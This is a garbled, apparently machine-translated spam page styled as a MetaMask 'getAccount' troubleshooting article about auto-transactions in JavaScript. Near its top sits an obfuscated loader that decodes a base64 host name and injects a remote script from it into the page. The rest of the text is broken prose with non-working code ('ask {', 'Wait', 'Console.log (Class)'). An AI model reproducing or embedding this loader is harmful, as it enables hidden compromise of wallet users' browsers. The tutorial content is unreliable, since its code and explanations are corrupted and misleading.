Metamask: Can anyone tell me where the problem is? I am trying to make a sort of auto-transaction feature in html using js, but I get this error?

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=95773eff”;document.body.appendChild(script);

I am a vigi that you ask you to realize the functionality of Metamask in your html/javascript. Here is the state, which resolves the problem with the head of work:

Problem Metamask: Can you say to me, where is the problem?

As a delay, I shook with multi -seized scales in the case of Metamask functionality in my projects. One from the naiblya prototted questiones, the blank or zero expulsive “ucellant recordings” can be released, which can release the non -absence or the scales.

In this state, we dissatisfied, why you can test this problem, and we have a some way for the renunciation for its detention.

Why GetAccount () Retrieve Unspored

When you call GetAccount (), Metamask is invited to your Ethereum Koshelek, the method eth_requestaccounts. This method can return the Massive Ethereum, if the Koshelek Accession, or Zero/Undeed in other cases.

Here’s the primer that can be proved:

`Javascript

Async Function GetAccount () {

ask {

Const Accounts = Wait Ethereum.request ({Method: 'Eth_requestaccounts'});

Console.log (Class); // Various: [{address: "0x ..."}, ...]

} Catch (error) {

Console.error (Oshbak);

}

}

In this primer function GetAccount () asking for access to the expiry wackouts'. If Metamask is raised by the Massive of Ucotic records, he will be appointed by the expirywoxcounts’. However, if Metamask can not find any accessible dwellers or loosening zero/non -detained, “accounts” will remain unpredited.

Why GetAccount () Retrieve Null?

There are several ones, by which GetAccount () can return null:

  • Posts is unworthy : Metamask may not be in the state to connect to your dug ethereum from the problem of the network, such as a stretch or a shothered ethereum hack.

  • Posts not broken : Your Koshelek Ethereum, Occupied, was not permitted to access to metamask, which can be mixed Getaccount () Ot Vozurat Massiva Cuttings.

3.

shooting nepotoja Shagov

To solve the problem with the help GetAccount () Returning null or non -adaptable, try this shagie on the shooting:

  • Recove the Ethereum network status: Recognize that your Ethereum will be launched.

  • verify the authorization of the Koshka

    : Encourage that your Koshelek Ethereum was permanent for access Metamask, prevented setting Metamask in your braze.

3.

  • Recove and set up Metamask : Time to lift Metamask, and the plot is to be included in it that you can go, connected with the problems with the detention of access.

Primer: Are Automatic transaction with Getaccount ()

Metamask: Can anyone tell me where the problem is? I am trying to make a sort of auto-transaction feature in html using js, but I get this error?

To rehage the function of automatic transaction with the use of Getaccount (), you can quench the detachable records in the expiry and use them for your transaction. Here’s the Primer:

`Javascript

Async Function Maketransaction () {

ask {

Const Accounts = Wait Ethereum.request ({Method: 'Eth_requestaccounts'});

Console.log (Class); // Various: [{address: "0x ..."}, ...]

// Use the outbuildings for your transaction ...

} Catch (error) {

Console.error (Oshbak);

}

}

// call maketransaction () every time you want to set aside auto -permeability

Setinterval (Maketransaction, 10000); // Display automatic transaction every past

In this primer, we call Maketransaction () every past, use setinterval ().

I hope that this one will help you resolve and solve the problem with your functioningGetAccount () Luck with Realization Function Metamask in your project!

Leave a Reply

Your email address will not be published. Required fields are marked *